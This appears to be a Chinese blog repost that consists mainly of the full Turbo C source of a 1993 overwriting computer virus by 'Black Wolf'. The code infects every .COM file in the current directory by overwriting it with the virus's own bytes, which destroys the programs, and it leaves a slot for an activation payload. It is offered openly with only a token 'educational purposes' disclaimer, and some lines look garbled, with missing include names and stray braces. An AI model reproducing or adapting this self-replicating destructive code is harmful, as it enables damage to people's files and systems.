zoukankan      html  css  js  c++  java
  • 小程序,嘿嘿

    copy from 黑基

     1- - ------------------ Cut Here -------------------------- - -
     2  /* This is a simple overwriting virus programmed in Turbo C */
     3  /* It will infect all .COM files in the current directory */
     4  /* Infections destroy the programs and cannot be cured */
     5  /* It was presented in Virology 101 (c) 1993 Black Wolf */
     6  /* FOR EDUCATIONAL PURPOSES ONLY, DO NOT RELEASE! */
     7  #include
     8  #include
     9  #include
    10  FILE *Virus,*Host;
    11  int x,y,done;
    12  char buff[256];
    13  struct ffblk ffblk;
    14  main()
    15  {
    16  done = findfirst("*.COM",&ffblk,0); /* Find a .COM file */
    17  while (!done) /* Loop for all COM's in DIR*/
    18  {
    19  printf("Infecting %s\n", ffblk.ff_name); /* Inform user */
    20  Virus=fopen(_argv[0],"rb"); /* Open infected file */
    21  Host=fopen(ffblk.ff_name,"rb+"); /* Open new host file */
    22  x=9504/* Virus size - must */
    23  /* be correct for the */
    24  /* compiler it is made */
    25  /* on, otherwise the */
    26  /* entire virus may not*/
    27  /* be copied!! */
    28  while (x>256/* OVERWRITE new Host */
    29  /* Read/Write 256 byte */
    30  fread(buff,256,1,Virus); /* chunks until bytes */
    31  fwrite(buff,256,1,Host); /* left < 256 */
    32  x-=256;
    33  }

    34  fread(buff,x,1,Virus); /* Finish off copy */
    35  fwrite(buff,x,1,Host);
    36  fcloseall(); /* Close both files and*/
    37  done = findnext(&ffblk); /* go for another one. */
    38  }

    39  /* Activation would go */
    40  /* here */
    41  return (0); /* Terminate */
    42  }

    43  - - ------------------ Cut Here --------------------------- - -
    44

    此程序并没有提供一些函数的详细实现,但是大意非常清楚.

    Code
  • 相关阅读:
    加载图片出现403的问题
    js字符串首字母大写的不同写法
    vue中使用两个window.onresize问题解决
    vue备用
    vue注册全局组件
    Java中Timer的用法
    笔记本设置wifi热点
    UVA 11401 Triangle Counting
    数论专题---除法表达式之高精度运算,扩展欧几里得算法
    能被2、3、4、5、6、7、8、9整除数的特征
  • 原文地址:https://www.cnblogs.com/ziyuan/p/1318269.html
Copyright © 2011-2022 走看看